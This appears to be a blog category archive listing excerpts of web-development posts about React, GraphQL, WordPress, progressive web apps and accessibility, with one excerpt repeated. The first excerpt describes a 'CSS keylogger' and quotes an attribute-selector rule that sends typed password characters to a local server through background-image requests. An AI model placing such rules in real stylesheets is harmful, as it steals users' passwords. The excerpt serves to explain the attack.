Archive for the ‘React’ Category

CSS Keylogger

Posted on: No Comments
Scary little attack using essentially a bunch of attribute selectors like this: input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } At first, I was like wait a minute, you can't select inputs based on what people ...

Sketching in the Browser

Posted on: No Comments
Mark Dalgleish details how his team at seek tried to build a library of React components that could then be translated into Sketch documents. Why is that important though? Well, Mark describes the problems that his team faced like this: ...most design...

Get the Ultimate Web Development Beginner Bundle for Only $29

Posted on: No Comments
So you've dreamed of being a web dev, but don't know where to start? Well have we got good news for you? For 48 hours only you can get our ultimate beginner bundle in web development for just $29 (that's a saving of $435 BTW!) What Are You Waiting For?...

How Would You Solve This Rendering Puzzle In React?

Posted on: No Comments
Welcome, React aficionados and amateurs like myself! I have a puzzle for you today. Let's say that you wanted to render out a list of items in a 2 column structure. Each of these items is a separate component. For example, say we had a list of albums ...

How to Build a Simple Blog Using React and GraphQL

Posted on: No Comments
This article was sponsored by Cosmic JS. Thank you for supporting the partners who make SitePoint possible. In this tutorial I’m going to show you how to create a simple blog using React, GraphQL and Cosmic JS. This is going to be the fastest and mos...

WordPress + React

Posted on: No Comments
I posted just 2 months ago about Foxhound and how I found it pretty cool, but also curious that it was one of very few themes around that combine the WordPress JSON API and React, even though they seem like a perfect natural fit. Like a headless CMS, a...

Progressive Web Apps: A Crash Course

Posted on: No Comments
Progressive Web Apps (PWAs) try to overlap the worlds of the mobile web apps and native mobile apps by offering the best features of each to mobile users. They offer an app-like user experience (splash screens and home screen icons), they're served fro...

Progressive Web Apps: A Crash Course

Posted on: No Comments
Progressive Web Apps (PWAs) try to overlap the worlds of the mobile web apps and native mobile apps by offering the best features of each to mobile users. They offer an app-like user experience (splash screens and home screen icons), they're served fro...

Accessible Web Apps with React, TypeScript, and AllyJS

Posted on: No Comments
Accessibility is an aspect of web development that is often overlooked. I would argue that it is as vital as overall performance and code reusability. We justify our endless pursuit of better performance and responsive design by citing the users, but u...